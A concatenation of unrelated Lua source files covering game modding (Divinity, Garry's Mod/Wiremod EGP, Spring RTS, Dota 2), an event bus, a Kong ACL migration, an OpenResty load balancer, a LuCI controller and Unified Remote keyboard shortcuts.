Ext.NewCall(ParsePieceEquipment, "LX_EXT_ParsePieceEquipment", "(CHARACTERGUID)_Character, (ITEMGUID)_Item");
Ext.NewCall(LoadHotbar, "LX_EXT_LoadHotbar", "(CHARACTERGUID)_Character");
Ext.NewQuery(GetHotbar, "LX_EXT_SaveHotbar", "(CHARACTERGUID)_Character");
Ext.NewCall(LoadCharacter, "LX_EXT_LoadCharacter", "(CHARACTERGUID)_Character");
Ext.NewCall(LoadInventory, "LX_EXT_LoadInventory", "(CHARACTERGUID)_Character, (STRING)_Data1, (STRING)_Data2");
Ext.NewCall(LoadSkills, "LX_EXT_LoadSkills", "(CHARACTERGUID)_Character");
Ext.NewCall(CleanCharacterPoints, "LX_EXT_CleanCharacterPoints", "(CHARACTERGUID)_Character");
|
local Color = {
start = '\27',
--Styles
sty = {
reset = '[0m',
bold = '[1m',
underline = '[4m',
inverse = '[7m',
},
--Foreground colors
frg = {
black = '[30m',
red = '[31m',
green = '[32m',
yellow = '[33m',
blue = '[34m',
magenta = '[35m',
cyan = '[36m',
white = '[37m',
},
--Bright foreground colors
brg = {
black = '[90m',
red = '[91m',
green = '[92m',
yellow = '[93m',
blue = '[94m',
magenta = '[95m',
cyan = '[96m',
white = '[97m',
},
--Background colors
bkg = {
black = '[100m',
red = '[101m',
green = '[102m',
yellow = '[103m',
blue = '[104m',
magenta = '[105m',
cyan = '[106m',
white = '[107m',
}
}
function Color.print(a)
print(Color.start.."n"..a..Color.sty.reset..Color.start)
end
return Color
|
local event = {}
event.handler = {}
--- Clear the list of subscriber for an event.
-- @param event_name string, name of the event, or how you want to call it
-- @return false if the handler for the event doesn't exist
-- @return true sucess
-- TODO : What I should do with the listener? Should they know?
function event:clear(event_name)
assert(type(type_event) == "string","The event name must be a string "..type(event_name))
if self.handler[event_name] == nil then
print("WARNING, there is not handler of the event",event_name,"to clear")
return false
end
self.handler[event_name] = nil
return true
end
--- Create the new, event. Init the table for the correct handler
-- @param event_name string, name of the event, or how you want to call it
-- @return true
function event:new_event(event_name)
assert(type(event_name) == "string","The event name must be a string "..type(event_name))
if self.handler[event_name] == nil then
self.handler[event_name] = {}
return true
end
print("You're are creating the event", event_name)
return true
end
--- Publish an event, and call all the object subcribed to it
--- To be more simple, the function call by the event, must have the same name
-- @param event_name string, name of the event
-- @return true
function event:publish(event_name, ...)
-- If the event list doesn't exists
if self.handler[event_name] == nil then
self:new_event(event_name)
return true
end
for i=1, #self.handler[event_name] do
-- I don't know if it's good idea. In this format your functions must be call with "self:"
self.handler[event_name][i][event_name](self,...)
end
return true
end
--- Remove an event
-- @param event_name string, name of the event, or how you want to call it
-- @return true
function event:remove_event(event_name)
self.handler[event_name] = nil
return true
end
--- Subscribe to the channel nammed by the event. If the channel doesn't exist yet, it's created.
-- @param event_name string, name of the event
-- @param object table, the object to be called, it must posses a function with the same name of the event
-- @return true
function event:subscribe(event_name, object )
assert(type(object) == "table")
assert(object[event_name]," Your object must have a function called "..event_name)
if self.handler[event_name] == nil then
self:new_event(event_name)
end
table.insert(self.handler[event_name], object)
return true
end
--- Unsubscribe to the channel nammed by the event. If the channel doesn't exist, raise a log.
-- @param event_name string, name of the event
-- @param object table, the object to be called, it must posses a function with the same name of the event
-- @return false if the handler of the event doesn't exists, or if you are already not subscribe
-- @return true
function event:unsubscribe(event_name, object)
if self.handler[event_name] == nil then
print("WARNING, unsubscribe an event, that doesn't exist")
return false
end
for i=1, #self.handler[event_name] do
if self.handler[event_name][i] == object then
print("OBJECT REMOVED")
table.remove(self.handler[event_name], i)
return true
end
end
print ("WARNING, you are trying to unsubscribe to a list, to which you'are not subcribed")
return false
end
return event
|
local operations = require "kong.db.migrations.operations.200_to_210"
local plugin_entities = {
{
name = "acls",
primary_key = "id",
uniques = {},
fks = {{name = "consumer", reference = "consumers", on_delete = "cascade"}},
}
}
local function ws_migration_up(ops)
return ops:ws_adjust_fields(plugin_entities)
end
local function ws_migration_teardown(ops)
return function(connector)
ops:ws_adjust_data(connector, plugin_entities)
ops:fixup_plugin_config(connector, "acl", function(config)
config.allow = config.whitelist
config.whitelist = nil
config.deny = config.blacklist
config.blacklist = nil
return true
end)
end
end
return {
postgres = {
up = ws_migration_up(operations.postgres.up),
teardown = ws_migration_teardown(operations.postgres.teardown),
},
cassandra = {
up = ws_migration_up(operations.cassandra.up),
teardown = ws_migration_teardown(operations.cassandra.teardown),
},
}
|
local kb = libs.keyboard;
-- Documentation
-- http://www.unifiedremote.com/api
-- Keyboard Library
-- http://www.unifiedremote.com/api/libs/keyboard
actions.PrevDesk = function ()
kb.stroke("ctrl", "win", "left");
end
actions.NextDesk = function ()
kb.stroke("ctrl", "win", "right");
end
actions.ZoomShare = function ()
kb.stroke("alt", "s");
end
actions.ZoomEnd = function ()
kb.stroke("alt", "q");
end
actions.ZoomControls = function ()
kb.stroke("ctrl", "alt", "shift");
end
|
return {"Text.lua"}
|
function widget:GetInfo()
return {
name = "UnitBar",
desc = "Shows currently owned units",
author = "PetTurtle",
date = "2020",
layer = 0,
enabled = true,
}
end
VFS.Include("LuaRules/Configs/customcmds.h.lua")
local TIER_COLORS = {
{0.1, 0.1, 0.1, 0.9},
{0.1, 0.9, 0.1, 0.9},
{0.1, 0.1, 0.9, 0.9},
{0.9, 0.1, 0.9, 0.9},
{1, 0.8, 0.1, 1}
}
local CMD_INSERT = CMD.INSERT
local CMD_OPT_SHIFT = CMD.OPT_SHIFT
local CMD_HQ_SELL = 49737
local CMD_HQ_SPAWN = 49738
local isVisible = true
local selectedHQID = nil
local Chili = nil
local window = nil
local mainPanel = nil
local buttons = {}
local buttonImages = {}
local buttonSell = {}
local buttonCostLabels = {}
local buttonCountLabels = {}
local function giveSellCommand(self, sellID)
Spring.GiveOrderToUnit(selectedHQID, CMD_INSERT, {0, CMD_HQ_SELL, CMD_OPT_SHIFT, sellID}, {"alt"})
end
local function giveSpawnCommand(self, spawnID)
Spring.GiveOrderToUnit(selectedHQID, CMD_INSERT, {0, CMD_HQ_SPAWN, CMD_OPT_SHIFT, spawnID}, {"alt"})
end
local function updateUI()
for i = 1, 8 do
local ud = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnit" .. i)
if ud == -1 then
buttonImages[i].file = "LuaUI/Images/Neon/glass.png"
buttonImages[i]:Invalidate()
buttons[i].backgroundColor = TIER_COLORS[1]
buttons[i]:Invalidate()
buttonCostLabels[i]:SetCaption("----")
buttonCountLabels[i]:SetCaption("")
else
local spawnUnitCost = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitCost" .. i)
local spawnUnitCount = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitCount" .. i)
local spawnUnitTier = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitTier" .. i)
buttonImages[i].file = "unitpics/" .. UnitDefs[ud].buildpicname
buttonImages[i]:Invalidate()
buttons[i].backgroundColor = TIER_COLORS[spawnUnitTier]
buttons[i]:Invalidate()
buttonCostLabels[i]:SetCaption(spawnUnitCost)
buttonCountLabels[i]:SetCaption(spawnUnitCount)
end
end
end
local function setVisible(value)
if value and not isVisible then
Chili.Screen0:AddChild(window)
isVisible = true
elseif not value and isVisible then
Chili.Screen0:RemoveChild(window)
isVisible = false
end
end
function widget:CommandsChanged()
local units = Spring.GetSelectedUnits()
if units then
for i = 1, #units do
if Spring.GetUnitRulesParam(units[i], "isHQ") then
selectedHQID = units[i]
updateUI()
setVisible(true)
return
end
end
end
setVisible(false)
selectedHQID = nil
end
local function CreateUnitButton(buttonID)
local buttonPanel = Chili.StackPanel:New{
width = 64,
height = 110,
itemPadding = {0,0,0,0},
itemMargin = {0,0,0,0},
padding = {0,0,0,0},
margin = {0,0,0,0},
orientation = "vertical",
resizeItems = false,
centerItems = false,
parent = mainPanel,
}
buttonSell[#buttonSell+1] = Chili.Button:New {
width= 60;
height= 16;
caption = "X",
textColor = {0.9,0.1,0.1,1.0},
OnClick = {
function (self)
giveSellCommand(self, buttonID)
end
},
parent = buttonPanel
}
buttons[#buttons + 1] = Chili.Button:New {
parent = buttonPanel,
width = 60,
height = 75,
padding = {5,5,5,5},
caption = "",
OnClick = {
function (self)
giveSpawnCommand(self, buttonID)
end
},
}
buttonImages[#buttonImages + 1] = Chili.Image:New {
width = 50,
height = 50,
file = "LuaUI/Images/Neon/glass.png",
keepAspect = true,
parent = buttons[#buttons],
}
buttonCostLabels[#buttonCostLabels+1] = Chili.Label:New {
width = 50,
height = 115,
valign ="center",
align = "center",
caption = "----",
textColor = {0.9,0.9,0.9,1.0},
parent = buttons[#buttons]
}
buttonCountLabels[#buttonCountLabels+1] = Chili.Label:New {
width= 45;
height= 45;
valign ="top",
align = "left",
caption = "",
fontSize = 16;
fontShadow = true;
textColor = {0.2,0.8,0.2,0.9},
parent = buttonImages[#buttonImages]
}
return buttons[#buttons]
end
function widget:UnitCmdDone(unitID)
if isVisible and selectedHQID == unitID then
updateUI()
end
end
function widget:Initialize()
Chili = WG.Chili
if not Chili then
widgetHandler:RemoveWidget()
return
end
window = Chili.Window:New {
dockable = true,
name = "Units Spawn Bar",
x = 0,
y = Chili.Screen0.height - 325,
width = (70 * 8),
height = 105,
padding = {2,2,2,2},
classname = "main_window",
draggable = true,
resizable = false,
tweakDraggable = true,
tweakResizable = false,
minimizanle = false,
parent = Chili.Screen0,
}
mainPanel = Chili.StackPanel:New{
x=10,
y=0,
right = 0,
bottom = 0,
itemPadding = {0,0,0,0},
itemMargin = {0,0,0,0},
margin = {0,0,0,0},
orientation = "horizontal",
parent = window,
}
for i = 1, 8 do
CreateUnitButton(i)
end
end
|
--[[
LuCI - Lua Configuration Interface - Internet access control
Copyright 2015 Krzysztof Szuster.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
$Id$
]]--
module("luci.controller.access_control", package.seeall)
function index()
if not nixio.fs.access("/etc/config/firewall") then
return
end
-- if not nixio.fs.access("/etc/config/access_control") then
-- return
-- end
local page
page = entry({"admin", "network", "access_control"},
cbi("access_control"), _("Access Control"))
page.dependent = true
end
|
-- Copyright (C) by Jianhao Dai (Toruneko)
-- see https://github.com/hamishforbes/lua-resty-iputils.git
local iputils = require "resty.iputils"
iputils.enable_lrucache()
local balancer = require "ngx.balancer"
local upstream = require "resty.upstream"
local LOGGER = ngx.log
local WARN = ngx.WARN
local setmetatable = setmetatable
local tostring = tostring
local tonumber = tonumber
local math_abs = math.abs
local error = error
local type = type
local getups = upstream.get_upstream
local check_peer_down = upstream.check_peer_down
local incr_peer_fails = upstream.incr_peer_fails
local set_peer_temporarily_down = upstream.set_peer_temporarily_down
local function get_single_peer(ups, u)
local peer = ups.peers[1]
if not check_peer_down(u, false, peer.name) then
return peer
end
return nil, "no available peer: " .. tostring(u)
end
local function get_round_robin_peer(u)
local ups, err = getups(u)
if not ups then
return nil, err
end
if ups.size == 1 then
return get_single_peer(ups, u)
end
local cp = ups.cp
local peer
repeat
ups.cp = (ups.cp % ups.size) + 1
peer = ups.peers[ups.cp]
if not peer then
return nil, "no peer found: " .. tostring(u)
end
-- visit all peers, but no one avaliable, exit.
if cp == ups.cp and check_peer_down(u, false, peer.name) then
return nil, "no available peer: " .. tostring(u)
end
until not check_peer_down(u, false, peer.name)
return peer
end
local function get_source_ip_hash_peer(u)
local ups, err = getups(u)
if not ups then
return nil, err
end
if ups.size == 1 then
return get_single_peer(ups, u)
end
local src, err = math_abs(iputils.ip2bin(ngx.var.remote_addr))
if not src then
return nil, err
end
local current = (src % ups.size) + 1
local peer = ups.peers[current]
if not peer then
return nil, "no peer found: " .. tostring(u)
end
if check_peer_down(u, false, peer.name) then
return get_round_robin_peer(u)
end
return peer
end
local function get_weighted_round_robin_peer(u)
local ups, err = getups(u)
if not ups then
return nil, err
end
if ups.size == 1 then
return get_single_peer(ups, u)
end
local cp = ups.cp
local cw = ups.cw
while true do
ups.cp = (ups.cp % ups.size) + 1
if ups.cp == 1 then
ups.cw = ups.cw - ups.gcd
if ups.cw <= 0 then
ups.cw = ups.max
end
end
local peer = ups.peers[ups.cp]
if not peer then
return nil, "no peer found: " .. tostring(u)
end
if peer.weight >= ups.cw and not check_peer_down(u, false, peer.name) then
return peer
end
-- visit all peers, but no one avaliable, exit.
if ups.cw == cw and ups.cp == cp then
return nil, "no available peer: " .. tostring(u)
end
end
end
local function proxy_pass(peer_factory, u, tries, include)
if not type(peer_factory) == "function" then
error("peer_factory must be a function")
end
tries = tonumber(tries) or 0
if not include then
tries = tries - 1
end
if tries <= 0 then
local peer, err = peer_factory(u)
if not peer then
return nil, err
end
return balancer.set_current_peer(peer.host, peer.port)
end
local ctx = ngx.ctx
-- check fails
local state, status = balancer.get_last_failure()
if state then
local last_peer = ctx.balancer_last_peer
if last_peer and last_peer.max_fails > 0 then
local fails = incr_peer_fails(u, false, last_peer.name, last_peer.fail_timeout)
if fails >= last_peer.max_fails then
set_peer_temporarily_down(u, false, last_peer.name, last_peer.fail_timeout)
LOGGER(WARN, last_peer.name, " temporarily unavailable.")
end
end
end
-- check tries
if not ctx.balancer_proxy_times then
ctx.balancer_proxy_times = 0
end
if include and ctx.balancer_proxy_times >= tries then
return nil, "max tries"
end
local peer, err = peer_factory(u)
if not peer then
return nil, err
end
-- check and set more tries
if ctx.balancer_proxy_times < tries then
local ok, err = balancer.set_more_tries(1)
if not ok then
return nil, err
end
end
ctx.balancer_last_peer = peer
ctx.balancer_proxy_times = ctx.balancer_proxy_times + 1
return balancer.set_current_peer(peer.host, peer.port)
end
local mt = { __index = balancer }
local _M = setmetatable({
_VERSION = upstream._VERSION,
get_round_robin_peer = get_round_robin_peer,
get_source_ip_hash_peer = get_source_ip_hash_peer,
get_weighted_round_robin_peer = get_weighted_round_robin_peer,
proxy_pass = proxy_pass
}, mt)
return _M
|
local Prop = {}
Prop.Name = "Depósito Rua do Vazio"
Prop.Cat = "House"
Prop.Price = 340
Prop.Doors = {
Vector(4954.91015625, 3300.7199707031, -141.71899414063),
Vector(4954.91015625, 3206.7199707031, -141.71899414063),
Vector(5112, 3161.9099121094, -142),
}
GM.Property:Register( Prop )
|
--------------------------------------------------------
-- e2function Helper functions
--------------------------------------------------------
local EGP = EGP
----------------------------
-- Table IsEmpty
----------------------------
function EGP:Table_IsEmpty( tbl ) return next(tbl) == nil end
----------------------------
-- SetScale
----------------------------
function EGP:SetScale( ent, x, y )
if not self:ValidEGP(ent) or not x or not y then return end
ent.xScale = { x[1], x[2] }
ent.yScale = { y[1], y[2] }
if x[1] ~= 0 or x[2] ~= 512 or y[1] ~= 0 or y[2] ~= 512 then
ent.Scaling = true
else
ent.Scaling = false
end
end
--------------------------------------------------------
-- Scaling functions
--------------------------------------------------------
local makeArray
local makeTable
local addUV
hook.Add("Initialize","EGP_WaitForParentingFile",function()
makeArray = EGP.ParentingFuncs.makeArray
makeTable = EGP.ParentingFuncs.makeTable
addUV = EGP.ParentingFuncs.addUV
end)
function EGP:ScaleObject( ent, v )
if not self:ValidEGP(ent) then return end
local xScale = ent.xScale
local yScale = ent.yScale
if not xScale or not yScale then return end
local xMin = xScale[1]
local xMax = xScale[2]
local yMin = yScale[1]
local yMax = yScale[2]
local xMul = 512/(xMax-xMin)
local yMul = 512/(yMax-yMin)
if (v.verticesindex) then -- Object has vertices
local r = makeArray( v, true )
for i=1,#r,2 do
r[i] = (r[i] - xMin) * xMul
r[i+1] = (r[i+1]- yMin) * yMul
end
local settings = makeTable(v, r)
addUV(v, settings)
if isstring(v.verticesindex) then settings = { [v.verticesindex] = settings } end
self:EditObject( v, settings )
else
if (v.x) then
v.x = (v.x - xMin) * xMul
end
if (v.y) then
v.y = (v.y - yMin) * yMul
end
if (v.w) then
v.w = math.abs(v.w * xMul)
end
if (v.h) then
v.h = math.abs(v.h * yMul)
end
end
end
--------------------------------------------------------
-- Draw from top left
--------------------------------------------------------
function EGP:MoveTopLeft( ent, v )
if not self:ValidEGP(ent) then return end
if (v.CanTopLeft and v.x and v.y and v.w and v.h) then
local vec, ang = LocalToWorld( Vector( v.w/2, v.h/2, 0 ), Angle(0,0,0), Vector( v.x, v.y, 0 ), Angle( 0, -v.angle or 0, 0 ) )
local t = { x = vec.x, y = vec.y }
if (v.angle) then t.angle = -ang.yaw end
self:EditObject( v, t )
end
end
----------------------------
-- IsDifferent check
----------------------------
function EGP:IsDifferent( tbl1, tbl2 )
if self:Table_IsEmpty(tbl1) ~= self:Table_IsEmpty(tbl2) then return true end -- One is empty, the other is not
for k,v in ipairs( tbl1 ) do
if not tbl2[k] or tbl2[k].ID ~= v.ID then -- Different ID?
return true
else
for k2,v2 in pairs( v ) do
if k2 ~= "BaseClass" then
if tbl2[k][k2] or tbl2[k][k2] ~= v2 then -- Is any setting different?
return true
end
end
end
end
end
for k, _ in ipairs( tbl2 ) do -- Were any objects removed?
if not tbl1[k] then
return true
end
end
return false
end
----------------------------
-- IsAllowed check
----------------------------
function EGP:IsAllowed( E2, Ent )
if not EGP:ValidEGP(Ent) then return false end
if (E2 and E2.entity and E2.entity:IsValid()) then
local owner = Ent:GetEGPOwner()
if E2.player ~= owner then
return E2Lib.isFriend(E2.player,Ent:GetEGPOwner())
else
return true
end
end
return false
end
--------------------------------------------------------
-- Transmitting / Receiving helper functions
--------------------------------------------------------
-----------------------
-- Material
-----------------------
function EGP:SendMaterial( obj ) -- ALWAYS use this when sending material
local mat = obj.material
if isstring(mat) then
net.WriteString( "0" .. mat ) -- 0 for string
elseif isentity(mat) then
net.WriteString( "1" .. mat:EntIndex() ) -- 1 for entity
end
end
function EGP:ReceiveMaterial( tbl ) -- ALWAYS use this when receiving material
local temp = net.ReadString()
local what, mat = temp:sub(1,1), temp:sub(2)
if what == "0" then
if mat == "" then
tbl.material = false
else
tbl.material = Material(mat)
end
elseif what == "1" then
local num = tonumber(mat)
if not num or not IsValid(Entity(num)) then
tbl.material = false
else
tbl.material = Entity(num)
end
end
end
-----------------------
-- Other
-----------------------
function EGP:SendPosSize( obj )
net.WriteInt( obj.w, 16 )
net.WriteInt( obj.h, 16 )
net.WriteInt( obj.x, 16 )
net.WriteInt( obj.y, 16 )
end
function EGP:SendColor( obj )
net.WriteUInt(obj.r, 8)
net.WriteUInt(obj.g, 8)
net.WriteUInt(obj.b, 8)
if (obj.a) then net.WriteUInt( math.Clamp( obj.a, 0, 255 ) , 8) end
end
function EGP:ReceivePosSize( tbl ) -- Used with SendPosSize
tbl.w = net.ReadInt(16)
tbl.h = net.ReadInt(16)
tbl.x = net.ReadInt(16)
tbl.y = net.ReadInt(16)
end
function EGP:ReceiveColor( tbl, obj ) -- Used with SendColor
tbl.r = net.ReadUInt(8)
tbl.g = net.ReadUInt(8)
tbl.b = net.ReadUInt(8)
if (obj.a) then tbl.a = net.ReadUInt(8) end
end
--------------------------------------------------------
-- Other
--------------------------------------------------------
function EGP:ValidEGP( Ent )
return (IsValid( Ent ) and (Ent:GetClass() == "gmod_wire_egp" or Ent:GetClass() == "gmod_wire_egp_hud" or Ent:GetClass() == "gmod_wire_egp_emitter"))
end
-- Saving Screen width and height
if (CLIENT) then
usermessage.Hook("EGP_ScrWH_Request",function(um)
RunConsoleCommand("EGP_ScrWH",ScrW(),ScrH())
end)
else
hook.Add("PlayerInitialSpawn","EGP_ScrHW_Request",function(ply)
timer.Simple(1,function()
if (ply and ply:IsValid() and ply:IsPlayer()) then
umsg.Start("EGP_ScrWH_Request",ply) umsg.End()
end
end)
end)
EGP.ScrHW = {}
concommand.Add("EGP_ScrWH",function(ply,cmd,args)
if (args and tonumber(args[1]) and tonumber(args[2])) then
EGP.ScrHW[ply] = { tonumber(args[1]), tonumber(args[2]) }
end
end)
end
-- Used to check if the cached vertices of egpCircle etc are still valid, and if not update to the current values
function EGP:CacheNeedsUpdate(obj, keys)
if not obj.vert_cache then obj.vert_cache = {} end
local cache = obj.vert_cache
local update = false
for _,k in pairs(keys) do
if cache[k] ~= obj[k] then
update = true
cache[k] = obj[k]
end
end
return update
end
-- Line drawing helper function
function EGP:DrawLine( x, y, x2, y2, size )
if (size < 1) then size = 1 end
if (size == 1) then
surface.DrawLine( x, y, x2, y2 )
else
-- Calculate position
local x3 = (x + x2) / 2
local y3 = (y + y2) / 2
-- calculate height
local w = math.sqrt( (x2-x) ^ 2 + (y2-y) ^ 2 )
-- Calculate angle (Thanks to Fizyk)
local angle = math.deg(math.atan2(y-y2,x2-x))
-- if the rectangle's less than a pixel wide, nothing will get drawn.
if w < 1 then w = 1 end
surface.DrawTexturedRectRotated( x3, y3, w, size, angle )
end
end
function EGP:DrawPath( vertices, size, closed )
if size < 1 then size = 1 end
local num = #vertices
if size == 1 then -- size 1 => just normal lines
local last = vertices[1]
for i=2, num do
local v = vertices[i]
surface.DrawLine( last.x, last.y, v.x, v.y )
last = v
end
if closed then
surface.DrawLine( last.x, last.y, vertices[1].x, vertices[1].y )
end
else
size = size/2 -- simplify calculations
local corners = vertices.outline_cache
if vertices.outline_cache_size ~= size then -- check if the outline was cached already
corners = {}
local lastdir = {x=0, y=0}
if closed then
local x1 = vertices[num].x
local y1 = vertices[num].y
local x2 = vertices[1].x
local y2 = vertices[1].y
local len = math.sqrt( (x2-x1) ^ 2 + (y2-y1) ^ 2 )
lastdir = {x=(x2-x1)/len, y=(y2-y1)/len} -- initialize lastdir so first segment can be drawn normally
end
for i=1, (closed and num+1 or num) do
local v1 = i==num+1 and vertices[1] or vertices[i]
local x1 = v1.x
local y1 = v1.y
if not closed and i==num then -- very last segment, just end perpendicular (TODO: maybe move after the loop)
corners[#corners+1] = { r={x=x1-lastdir.y*size, y=y1+lastdir.x*size}, l={x=x1+lastdir.y*size, y=y1-lastdir.x*size}}
else
local v2 = i<num and vertices[i+1] or vertices[i+1-num]
local x2 = v2.x
local y2 = v2.y
local len = math.sqrt( (x2-x1) ^ 2 + (y2-y1) ^ 2 )
local dir = {x=(x2-x1)/len, y=(y2-y1)/len}
if x1 ~= x2 or y1 ~= y2 then -- cannot get direction between identical points, just skip it
if not closed and i==1 then -- very first segment, just start perpendicular (TODO: maybe move before the loop)
corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} }
else
local dot = dir.x*lastdir.x + dir.y*lastdir.y
local scaling = size*math.tan(math.acos(dot)/2) -- complicated math, could be also be `size*sqrt(1-dot)/sqrt(dot+1)` (no idea what is faster)
if dot >= 1 then -- also account for rounding errors, somehow the dot product can be >1, which makes scaling nan
-- direction stays the same, no need for a corner, just skip this point, unless it is the last segment of a closed path (last segment of a open path is handled explicitly above)
if i == num+1 then
corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} }
end
elseif dot <= -1 then -- new direction is inverse, just add perpendicular nodes
corners[#corners+1] = { r={x=x1-dir.y*size, y=y1+dir.x*size}, l={x=x1+dir.y*size, y=y1-dir.x*size} }
elseif dir.x*-lastdir.y + dir.y*lastdir.x > 0 then -- right bend, checked by getting the dot product between dir and lastDir:rotate(90)
local offsetx = -lastdir.y*size-lastdir.x*scaling
local offsety = lastdir.x*size-lastdir.y*scaling
if dot < 0 then -- sharp corner, add two points to the outer edge to not have insanely long spikes
corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1+(lastdir.x+lastdir.y)*size, y=y1+(lastdir.y-lastdir.x)*size} }
corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1-(dir.x-dir.y)*size, y=y1-(dir.y+dir.x)*size} }
else
corners[#corners+1] = { r={x=x1+offsetx, y=y1+offsety}, l={x=x1-offsetx, y=y1-offsety} }
end
else -- left bend
local offsetx = lastdir.y*size-lastdir.x*scaling
local offsety = -lastdir.x*size-lastdir.y*scaling
if dot < 0 then
corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1+(lastdir.x-lastdir.y)*size, y=y1+(lastdir.y+lastdir.x)*size} }
corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1-(dir.x+dir.y)*size, y=y1-(dir.y-dir.x)*size} }
else
corners[#corners+1] = { l={x=x1+offsetx, y=y1+offsety}, r={x=x1-offsetx, y=y1-offsety} }
end
end
end
lastdir = dir
end
end
end
vertices.outline_cache = corners
vertices.outline_cache_size = size
end
for i=2, #corners, 2 do
local verts
if i==#corners then -- last corner, only one segment missing
verts = {corners[i].r, corners[i-1].r, corners[i-1].l, corners[i].l}
else -- draw this and next segment as a single polygon
verts = {corners[i].r, corners[i-1].r, corners[i-1].l, corners[i].l, corners[i+1].l, corners[i+1].r}
end
surface.DrawPoly(verts)
end
end
end
local function ScaleCursor( this, x, y )
if (this.Scaling) then
local xMin = this.xScale[1]
local xMax = this.xScale[2]
local yMin = this.yScale[1]
local yMax = this.yScale[2]
x = (x * (xMax-xMin)) / 512 + xMin
y = (y * (yMax-yMin)) / 512 + yMin
end
return x, y
end
local function ReturnFailure( this )
if (this.Scaling) then
return {this.xScale[1]-1,this.yScale[1]-1}
end
return {-1,-1}
end
function EGP:EGPCursor( this, ply )
if not EGP:ValidEGP(this) then return {-1,-1} end
if not IsValid(ply) or not ply:IsPlayer() then return ReturnFailure( this ) end
local Normal, Pos, monitor, Ang
-- If it's an emitter, set custom normal and pos
if (this:GetClass() == "gmod_wire_egp_emitter") then
Normal = this:GetRight()
Pos = this:LocalToWorld( Vector( -64, 0, 135 ) )
monitor = { Emitter = true }
else
-- Get monitor screen pos & size
monitor = WireGPU_Monitors[ this:GetModel() ]
-- Monitor does not have a valid screen point
if not monitor then return {-1,-1} end
Ang = this:LocalToWorldAngles( monitor.rot )
Pos = this:LocalToWorld( monitor.offset )
Normal = Ang:Up()
end
local Start = ply:GetShootPos()
local Dir = ply:GetAimVector()
local A = Normal:Dot(Dir)
-- If ray is parallel or behind the screen
if (A == 0 or A > 0) then return ReturnFailure( this ) end
local B = Normal:Dot(Pos-Start) / A
if (B >= 0) then
if (monitor.Emitter) then
local HitPos = Start + Dir * B
HitPos = this:WorldToLocal( HitPos ) - Vector( -64, 0, 135 )
local x = HitPos.x*(512/128)
local y = HitPos.z*-(512/128)
x, y = ScaleCursor( this, x, y )
return {x,y}
else
local HitPos = WorldToLocal( Start + Dir * B, Angle(), Pos, Ang )
local x = (0.5+HitPos.x/(monitor.RS*512/monitor.RatioX)) * 512
local y = (0.5-HitPos.y/(monitor.RS*512)) * 512
if (x < 0 or x > 512 or y < 0 or y > 512) then return ReturnFailure( this ) end -- Aiming off the screen
x, y = ScaleCursor( this, x, y )
return {x,y}
end
end
return ReturnFailure( this )
end
function EGP.ScreenSpaceToObjectSpace(object, point)
point = { x = point.x - object.x, y = point.y - object.y }
if object.angle and object.angle ~= 0 then
local theta = math.rad(object.angle)
local cos_theta, sin_theta = math.cos(theta), math.sin(theta)
point.x, point.y =
point.x * cos_theta - point.y * sin_theta,
point.y * cos_theta + point.x * sin_theta
end
return point
end
|
LinkLuaModifier("modifier_old_holy_knight_purge_slow", "heroes/old_holy_knight/old_holy_knight_modifiers.lua", LUA_MODIFIER_MOTION_NONE)
LinkLuaModifier("modifier_old_holy_knight_critical_strike", "heroes/old_holy_knight/old_holy_knight_modifiers.lua", LUA_MODIFIER_MOTION_NONE)
old_holy_knight_purge = class({})
function old_holy_knight_purge:GetBehavior()
if not self.bSpecial then
self.hSpecial = Entities:First()
while self.hSpecial and (self.hSpecial:GetName() ~= "special_bonus_unique_old_holy_knight_2" or self.hSpecial:GetCaster() ~= self:GetCaster()) do
self.hSpecial = Entities:Next(self.hSpecial)
end
self.bSpecial = true
end
if self.hSpecial and self.hSpecial:GetLevel() > 0 then
return DOTA_ABILITY_BEHAVIOR_POINT+DOTA_ABILITY_BEHAVIOR_AOE
else
return DOTA_ABILITY_BEHAVIOR_UNIT_TARGET
end
end
local function PurgeUnit(hTarget, hCaster, hAbility)
hTarget:EmitSound("DOTA_Item.DiffusalBlade.Activate")
if hTarget:GetTeam() == hCaster:GetTeam() then
hTarget:Purge(false, true, false, false, false)
ParticleManager:CreateParticle("particles/generic_gameplay/generic_purge.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget)
else
hTarget:Purge(true, false, false, false, false)
ParticleManager:CreateParticle("particles/generic_gameplay/generic_purge.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget)
if hTarget:HasModifier("modifier_kill") then
hTarget:Kill(hAbility, hCaster)
else
hTarget:AddNewModifier(hCaster, hAbility, "modifier_old_holy_knight_purge_slow", {Duration = hAbility:GetSpecialValueFor("slow_duration")*(1-hTarget:GetStatusResistance())})
end
end
end
function old_holy_knight_purge:GetAOERadius()
if self.hSpecial then
return self.hSpecial:GetSpecialValueFor("value")
else
return 0
end
end
function old_holy_knight_purge:OnSpellStart()
if self.hSpecial and self.hSpecial:GetLevel() > 0 then
local hCaster = self:GetCaster()
local tTargets = FindUnitsInRadius(hCaster:GetTeamNumber(), self:GetCursorPosition(), nil, self.hSpecial:GetSpecialValueFor("value"), DOTA_UNIT_TARGET_TEAM_BOTH, DOTA_UNIT_TARGET_HERO+DOTA_UNIT_TARGET_BASIC, DOTA_UNIT_TARGET_FLAG_NOT_MAGIC_IMMUNE_ALLIES, FIND_ANY_ORDER, false)
for k, v in ipairs(tTargets) do
v:EmitSound("DOTA_Item.DiffusalBlade.Activate")
PurgeUnit(v, hCaster, self)
end
else
local hCaster = self:GetCaster()
local hTarget = self:GetCursorTarget()
if hTarget:TriggerSpellAbsorb( self ) then return end
hTarget:EmitSound("DOTA_Item.DiffusalBlade.Activate")
PurgeUnit(hTarget, hCaster, self)
end
end
old_holy_knight_holy_light = class({})
